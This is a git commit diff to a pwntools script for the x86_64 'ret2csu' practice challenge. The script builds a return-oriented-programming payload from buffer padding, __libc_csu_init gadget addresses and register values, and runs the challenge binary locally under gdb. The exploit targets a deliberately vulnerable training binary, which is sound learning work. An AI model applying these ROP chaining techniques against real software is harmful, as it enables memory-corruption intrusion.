From 5660ef31669a5917d67b227d37e36e7887a839b0 Mon Sep 17 00:00:00 2001
From: Brett Weiland <brett_weiland@bpcspace.com>
Date: Sun, 20 Dec 2020 17:29:46 -0600
Subject: 	modified:   x86_64/ret2csu/exploit.py 	modified:  
 x86_64/ret2csu/gadgets

---
 x86_64/ret2csu/exploit.py | 20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

(limited to 'x86_64/ret2csu/exploit.py')

diff --git a/x86_64/ret2csu/exploit.py b/x86_64/ret2csu/exploit.py
index a148687..6394460 100755
--- a/x86_64/ret2csu/exploit.py
+++ b/x86_64/ret2csu/exploit.py
@@ -1,6 +1,8 @@
 #!/usr/bin/env python3
 from pwn import *
 
+context.terminal = ['kitty', 'bash', '-c']
+
 prog = gdb.debug('./ret2csu', gdbscript='b *0x40069a')
 payload = b''
 for c in range(40):
@@ -8,18 +10,26 @@ for c in range(40):
 
 
 payload += p64(0x40069a)            # __libc_csu_init()
-payload += p64(0)
-payload += p64(0)
-payload += p64(0x601020)
+
+payload += p64(19)
+payload += p64(1)
+payload += p64(0x601018)
 payload += p64(0xdeadbeefdeadbeef)
 payload += p64(0xcafebabecafebabe)
 payload += p64(0xd00df00dd00df00d)
 
+
 payload += p64(0x400680)
 
+payload += p64(1)
+payload += p64(2)
+
+payload += p64(0x00000000004006a3)
+payload += p64(0xdeadbeefdeadbeef)
+
+payload += p64(0x0000000000400510)
+
 
-#payload += p64(0x00000000004006a3)
-#payload += p64(0xdeadbeefdeadbeef)
 
 payload += b"\n"
 
-- 
cgit v1.2.3